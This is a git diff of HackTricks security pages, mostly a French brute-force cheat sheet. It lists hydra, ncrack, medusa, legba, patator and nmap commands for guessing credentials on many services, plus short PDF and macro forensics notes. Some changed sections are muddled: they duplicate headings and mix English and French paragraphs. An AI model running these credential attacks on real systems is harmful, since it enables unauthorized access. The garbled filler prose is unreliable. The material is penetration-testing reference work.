via pip et l'extraction de macros à partir de documents. L'exécution automatique de macros est déclenchée par des fonctions comme `AutoOpen`, `AutoExec`, ou `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 1db6192a2..b8265bb3a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -9,22 +9,22 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**Pour plus de détails, consultez : [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)** +**Pour plus de détails, consultez :** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -Le format PDF est connu pour sa complexité et son potentiel de dissimulation de données, en en faisant un point focal pour les défis de la forensique CTF. Il combine des éléments de texte brut avec des objets binaires, qui peuvent être compressés ou chiffrés, et peut inclure des scripts dans des langages comme JavaScript ou Flash. Pour comprendre la structure PDF, on peut se référer au matériel introductif de Didier Stevens [ici](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou utiliser des outils comme un éditeur de texte ou un éditeur spécifique au PDF tel qu'Origami. +Le format PDF est connu pour sa complexité et son potentiel de dissimulation de données, en en faisant un point focal pour les défis de la criminalistique CTF. Il combine des éléments de texte brut avec des objets binaires, qui peuvent être compressés ou chiffrés, et peut inclure des scripts dans des langages comme JavaScript ou Flash. Pour comprendre la structure PDF, on peut se référer au [matériel introductif](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, ou utiliser des outils comme un éditeur de texte ou un éditeur spécifique au PDF tel qu'Origami. Pour une exploration approfondie ou une manipulation des PDF, des outils comme [qpdf](https://github.com/qpdf/qpdf) et [Origami](https://github.com/mobmewireless/origami-pdf) sont disponibles. Les données cachées dans les PDF peuvent être dissimulées dans : @@ -35,7 +35,7 @@ Pour une exploration approfondie ou une manipulation des PDF, des outils comme [ * Du texte derrière des images ou chevauchant des images * Des commentaires non affichés -Pour une analyse personnalisée des PDF, des bibliothèques Python comme [PeepDF](https://github.com/jesparza/peepdf) peuvent être utilisées pour créer des scripts d'analyse sur mesure. De plus, le potentiel des PDF pour le stockage de données cachées est si vaste que des ressources comme le guide de la NSA sur les risques et les contre-mesures des PDF, bien qu'il ne soit plus hébergé à son emplacement d'origine, offrent toujours des informations précieuses. Une [copie du guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) et une collection de [astuces sur le format PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) par Ange Albertini peuvent fournir une lecture complémentaire sur le sujet. +Pour une analyse personnalisée des PDF, des bibliothèques Python comme [PeepDF](https://github.com/jesparza/peepdf) peuvent être utilisées pour créer des scripts d'analyse sur mesure. De plus, le potentiel des PDF pour le stockage de données cachées est si vaste que des ressources comme le guide de la NSA sur les risques et les contre-mesures des PDF, bien qu'il ne soit plus hébergé à son emplacement d'origine, offrent toujours des informations précieuses. Une [copie du guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) et une collection de [astuces sur le format PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) par Ange Albertini peuvent fournir des lectures complémentaires sur le sujet.
@@ -46,7 +46,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 61e78bb00..069a0196f 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,10 +1,10 @@ # Brute Force - Fiche de triche -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%% ``` ### Cewl -Cewl est un outil qui extrait les mots d'un site Web pour générer une liste de mots potentiels pour une attaque de force brute. +Cewl est un outil qui extrait les mots d'un site Web pour générer des listes de mots potentiellement utiles pour une attaque de force brute. ```bash cewl example.com -m 5 -w words.txt ``` @@ -102,7 +102,7 @@ Finished in 0.920s. * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -141,33 +141,12 @@ Les attaques par force brute contre le protocole AJP peuvent être effectuées nmap --script ajp-brute -p 8009 ``` ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - -### Brute Force - -Brute force attacks against AMQP servers are relatively straightforward. The attacker simply tries all possible username and password combinations until a valid one is found. This can be done using tools like Hydra or custom scripts. - -### Protection - -To protect against brute force attacks, it is recommended to: -- Use strong and complex passwords -- Implement account lockout mechanisms after a certain number of failed login attempts -- Monitor login attempts for suspicious activity -- Limit the number of login attempts allowed -- Implement multi-factor authentication for an added layer of security - -### Example - -An example of a brute force attack against an AMQP server using Hydra: - -```bash -hydra -L users.txt -P passwords.txt amqp://target-ip -``` ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### Cassandra -Cassandra est une base de données NoSQL distribuée conçue pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Les attaques de force brute contre Cassandra peuvent être effectuées en essayant de deviner les identifiants d'authentification, tels que les noms d'utilisateur et les mots de passe, en utilisant des listes de mots courants ou des attaques par dictionnaire. Il est essentiel de mettre en œuvre des mesures de sécurité telles que des politiques de mot de passe robustes et des mécanismes de verrouillage de compte pour protéger Cassandra contre de telles attaques. +Cassandra est un système de gestion de base de données distribuée conçu pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Il est possible de mener des attaques de force brute contre Cassandra en essayant de deviner les identifiants d'authentification ou en essayant de casser les mots de passe des utilisateurs. ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra @@ -177,7 +156,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo #### Brute Force -Brute force attacks against CouchDB typically involve trying to guess the password for the `admin` user account. This can be done using tools like Hydra or by writing custom scripts. It's important to note that brute forcing passwords is illegal and unethical without proper authorization. +Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. These attacks can be automated using tools like Hydra or Medusa. It is important to use strong and unique passwords to protect against brute force attacks. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / @@ -188,13 +167,36 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word ``` ### Elasticsearch -### Elasticsearch +#### Brute Force + +Brute force attacks are a common way to gain unauthorized access to Elasticsearch clusters. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is effective against weak or default credentials. + +#### Protection + +To protect against brute force attacks, it is recommended to: + +- Use strong and unique passwords for all Elasticsearch users. +- Implement account lockout policies to prevent multiple failed login attempts. +- Monitor Elasticsearch logs for any suspicious login activities. +- Consider using multi-factor authentication for an added layer of security. + +By following these protection measures, you can significantly reduce the risk of unauthorized access to your Elasticsearch clusters. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP -### FTP +#### Brute Force + +Brute force attacks against FTP servers involve attempting to log in to an FTP server by systematically trying all possible passwords until the correct one is found. This method is typically used when other methods of gaining access to the server have failed. + +#### Dictionary Attack + +A dictionary attack is a type of brute force attack that uses a predefined list of words as potential passwords. This list can be a combination of common passwords, dictionary words, or any other set of words that the attacker believes may be used as passwords. + +#### Tools + +There are several tools available for conducting brute force and dictionary attacks against FTP servers, such as Hydra, Medusa, and Ncrack. These tools automate the process of trying multiple passwords, making it easier and faster for attackers to gain unauthorized access to FTP servers. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] @@ -205,7 +207,7 @@ legba ftp --username admin --password wordlists/passwords.txt --target localhost #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### Authentification de Base HTTP +### Authentification de base HTTP ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https @@ -214,24 +216,27 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht ``` ### HTTP - NTLM +--- + #### Brute Force -Brute force attacks against NTLM authentication can be performed using tools like Hydra or Medusa. These tools can be used to automate the process of trying different username and password combinations until the correct one is found. +Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be effective but is also time-consuming and resource-intensive. -#### Example Command: +#### Dictionary Attacks -```bash -hydra -l -P http-get / -m / -s -``` +Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, they use a predefined list of commonly used passwords. This method is more efficient than brute force as it reduces the number of attempts needed to find the correct password. -#### Resources: +#### Rainbow Tables -- [Hydra](https://github.com/vanhauser-thc/thc-hydra) -- [Medusa](https://github.com/jmk-foofus/medusa) +Rainbow tables are precomputed tables used in password cracking to reverse hash functions and discover passwords from their hash values. This method can significantly speed up the password cracking process by eliminating the need to hash each possible password during the attack. -#### Mitigation: +#### Credential Stuffing -To protect against brute force attacks, it is recommended to implement account lockout policies, use strong and complex passwords, and consider implementing multi-factor authentication. +Credential stuffing is a type of attack where attackers use usernames and passwords leaked from one service to gain unauthorized access to another service. This method relies on the fact that many users reuse the same credentials across multiple services. + +#### Hydra + +Hydra is a popular password-cracking tool that supports multiple protocols, including HTTP, SMB, FTP, and many others. It can perform brute force and dictionary attacks to crack passwords and gain unauthorized access to systems. ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ @@ -240,18 +245,18 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa #### Brute Force -Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms in web applications. +Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be used to exploit weak authentication mechanisms in web applications that use HTTP POST forms to submit login credentials. -#### Protection +#### Protection Mechanisms -To protect against brute force attacks, you can implement the following measures: +To protect against brute force attacks on HTTP POST forms, web developers can implement the following security measures: -1. **Account Lockout**: Implement a mechanism that locks out an account after a certain number of failed login attempts. -2. **CAPTCHA**: Use CAPTCHA challenges to differentiate between human users and automated scripts. -3. **Rate Limiting**: Limit the number of login attempts from a single IP address within a specific time frame. -4. **Strong Password Policy**: Enforce a strong password policy that includes requirements such as minimum length, complexity, and expiration. +1. **Account Lockout**: Implement a mechanism that locks user accounts after a certain number of failed login attempts to prevent further login attempts. +2. **CAPTCHA**: Integrate CAPTCHA challenges into the login process to differentiate between human users and automated scripts. +3. **Rate Limiting**: Implement rate limiting to restrict the number of login attempts from a single IP address within a specific time frame. +4. **Strong Password Policy**: Enforce strong password policies, such as minimum length requirements and complexity rules, to make it harder for attackers to guess passwords. -By implementing these protection measures, you can significantly reduce the risk of a successful brute force attack on your system. +By implementing these protection mechanisms, web applications can significantly reduce the risk of unauthorized access through brute force attacks on HTTP POST forms. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -265,13 +270,7 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP ---- - -Brute force attacks against IMAP are typically carried out using the `LOGIN` command. The attacker sends multiple login attempts using different username and password combinations until the correct one is found. This can be automated using tools like Hydra or Medusa. - ---- - -Les attaques par force brute contre IMAP sont généralement effectuées en utilisant la commande `LOGIN`. L'attaquant envoie plusieurs tentatives de connexion en utilisant différentes combinaisons de nom d'utilisateur et de mot de passe jusqu'à ce que la bonne soit trouvée. Cela peut être automatisé en utilisant des outils comme Hydra ou Medusa. +### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -280,17 +279,24 @@ legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC -### IRC +#### Brute Force -### IRC +Brute force attacks on IRC servers are usually performed using automated scripts that try to guess usernames and passwords. These scripts can be easily found online and are relatively simple to use. Attackers can also use tools like Hydra or Medusa to automate the brute force process. + +#### Protection + +To protect an IRC server from brute force attacks, it is recommended to: +- Implement account lockout policies after a certain number of failed login attempts. +- Use strong and complex passwords. +- Monitor login attempts and look for any suspicious activity. +- Limit the number of login attempts from a single IP address. +- Keep the IRC server software up to date to patch any known vulnerabilities. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI -#### Brute Force - -Brute force attacks against iSCSI targets can be performed using tools like Hydra or Nmap. These tools can help in guessing the username and password combinations to gain unauthorized access to iSCSI targets. It is important to use strong and complex passwords to prevent successful brute force attacks. +### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` @@ -321,36 +327,14 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm ``` ### LDAP -LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory. - -### LDAP - -LDAP (Lightweight Directory Access Protocol) est un protocole utilisé pour accéder et maintenir des services de répertoire sur un réseau. Il est couramment utilisé pour l'authentification et le stockage d'informations sur les utilisateurs, les groupes et les appareils dans un répertoire centralisé. +LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory. LDAP servers are often targeted for brute force attacks to gain unauthorized access to sensitive information. ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT -#### Brute Force - -Brute force attacks against MQTT brokers involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This can be achieved using tools like Hydra or custom scripts. - -#### Mitigation - -To protect against brute force attacks on MQTT brokers, consider implementing the following measures: - -1. **Strong Credentials**: Use complex and unique usernames and passwords to make it harder for attackers to guess. - -2. **Account Lockout**: Implement account lockout mechanisms to temporarily lock out users after a certain number of failed login attempts. - -3. **Rate Limiting**: Enforce rate limiting to restrict the number of login attempts within a specific time frame. - -4. **Monitoring**: Monitor MQTT broker logs for any unusual login activities and investigate any suspicious behavior. - -5. **Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the authentication process. - -By implementing these measures, you can enhance the security of your MQTT broker and protect it against brute force attacks. +### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt @@ -371,9 +355,7 @@ legba mssql --username SA --password wordlists/passwords.txt --target localhost: ``` ### MySQL -#### Brute Force - -Brute force attacks against MySQL databases can be carried out using tools like Hydra or SQLMap. These tools can help automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or other security measures if too many failed attempts are made. +### MySQL ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -391,7 +373,18 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos #### Brute Force -Brute force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made. It is recommended to use strong and complex passwords to mitigate the risk of a successful brute force attack. +Brute force attacks are commonly used to crack passwords by systematically checking all possible combinations until the correct one is found. In the context of OracleSQL, brute force attacks can be used to guess usernames and passwords to gain unauthorized access to databases. + +#### Prevention + +To prevent brute force attacks in OracleSQL, it is recommended to: +- Implement account lockout policies after a certain number of failed login attempts. +- Use complex and unique passwords that are difficult to guess. +- Regularly monitor and review login attempts for any suspicious activity. +- Limit the number of login attempts allowed within a specific time frame. +- Implement multi-factor authentication for an added layer of security. + +By following these prevention measures, you can significantly reduce the risk of falling victim to brute force attacks in OracleSQL. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -419,7 +412,7 @@ Pour utiliser **oracle\_login** avec **patator**, vous devez **installer**: ```bash pip3 install cx_Oracle --upgrade ``` -[Bruteforce de hachage OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**): +[Bruteforce du hash OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) : ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` @@ -427,25 +420,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid --- -#### Brute Force - -Brute force attacks are one of the simplest and most common types of attacks. The attacker tries every possible combination of usernames and passwords until the correct one is found. This method is time-consuming but effective, especially against weak passwords. - -#### Dictionary Attack - -A dictionary attack is similar to a brute force attack, but instead of trying every possible combination, it uses a predefined list of common passwords. This method is faster than a brute force attack and can be very effective if the target is using a common or weak password. - -#### Rainbow Table Attack - -A rainbow table attack is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. This method can be very fast and efficient, especially against hashed passwords. - -#### Credential Stuffing - -Credential stuffing is the automated injection of breached username/password pairs to gain unauthorized access to user accounts. Attackers use automated tools to test large numbers of credentials against various websites and services to find valid login information. - -#### Hydra - -Hydra is a popular password-cracking tool that can perform rapid dictionary and brute-force attacks. It supports multiple protocols and can be used to crack passwords for various services and platforms. +Brute forcing POP (Post Office Protocol) credentials involves attempting to log in to a POP server by systematically trying all possible combinations of usernames and passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa, which are capable of automating the login process and trying thousands of combinations in a short amount of time. It is important to note that brute forcing is a time-consuming process and may trigger account lockouts or other security measures if done carelessly. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -460,7 +435,21 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar #### Brute Force -Brute force attacks against PostgreSQL databases can be carried out using tools like Hydra or Metasploit. These tools can attempt to log in to a PostgreSQL database by trying different combinations of usernames and passwords until a successful match is found. It is important to use strong and unique passwords to protect against brute force attacks. +Brute force attacks are a common method used to gain unauthorized access to a system. In the context of PostgreSQL, a brute force attack involves repeatedly trying different username and password combinations until the correct one is found. This can be done manually or using automated tools like Hydra or Medusa. + +#### Protection + +To protect against brute force attacks in PostgreSQL, you can take the following measures: + +1. **Use Strong Passwords**: Ensure that you and your users use strong, complex passwords that are not easily guessable. + +2. **Limit Login Attempts**: Implement mechanisms to limit the number of login attempts within a certain time frame. This can help prevent attackers from trying an unlimited number of password combinations. + +3. **Enable Two-Factor Authentication**: Implement two-factor authentication to add an extra layer of security to the login process. + +4. **Monitor Logs**: Regularly monitor your PostgreSQL logs for any unusual login patterns or suspicious activity. + +By implementing these protection measures, you can significantly reduce the risk of a successful brute force attack on your PostgreSQL database. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -481,7 +470,7 @@ cat rockyou.txt | thc-pptp-bruter –u #### Brute Force -Brute force attacks against RDP servers are common and can be mitigated by implementing strong password policies, account lockout policies, and using multi-factor authentication. Tools such as Hydra, Ncrack, and Crowbar can be used to automate the brute force process. It is important to monitor RDP logs for any suspicious login attempts and to regularly audit RDP server configurations for security vulnerabilities. +Brute force attacks are a common method used to gain unauthorized access to RDP servers. Attackers use automated tools to try all possible username and password combinations until the correct one is found. This method is effective against weak or default credentials. To protect against brute force attacks, it is recommended to use strong, complex passwords, implement account lockout policies, and use multi-factor authentication. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// @@ -489,7 +478,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt ``` ### Redis -Redis is an open-source, in-memory data structure store that can be used as a database, cache, and message broker. It supports various data structures such as strings, hashes, lists, sets, and more. Redis does not have built-in support for authentication, so it is crucial to secure it properly. Common security issues with Redis include unauthorized access and data exposure. It is essential to use strong passwords, firewall rules, and access controls to protect Redis instances from unauthorized access. +Redis (Remote Dictionary Server) est un système de stockage de données en mémoire open source, utilisé comme base de données, cache et courtier de messages. Il prend en charge diverses structures de données telles que les chaînes, les hachages, les listes, les ensembles, les ensembles triés avec des opérations de manipulation de données rapides. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -498,50 +487,34 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t ``` ### Rexec -#### Brute Force +### Rexec -Brute force attacks against Rexec can be carried out using tools like Hydra or Ncrack. These tools can be used to systematically try all possible username and password combinations until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so they should be used with caution and only when other methods of access have been exhausted. +Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers and network devices. Rexec is a plaintext protocol, which means that the commands and responses are not encrypted. This makes it vulnerable to eavesdropping and man-in-the-middle attacks. -#### Mitigation +### Rexec -To mitigate brute force attacks against Rexec, it is recommended to implement strong password policies, such as using complex passwords and enforcing account lockout policies after a certain number of failed login attempts. Additionally, implementing multi-factor authentication can add an extra layer of security to prevent unauthorized access. Regularly monitoring logs for any suspicious login activity can also help detect and respond to brute force attacks in a timely manner. +Rexec est un service simple qui permet aux utilisateurs d'exécuter des commandes sur un système distant. Il est souvent utilisé par les administrateurs pour gérer des serveurs et des périphériques réseau. Rexec est un protocole en texte clair, ce qui signifie que les commandes et les réponses ne sont pas cryptées. Cela le rend vulnérable à l'écoute et aux attaques de l'homme du milieu. ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin -#### Brute Force - -Brute force attacks against the rlogin service can be performed using tools like Hydra or Medusa. These tools can automate the process of trying 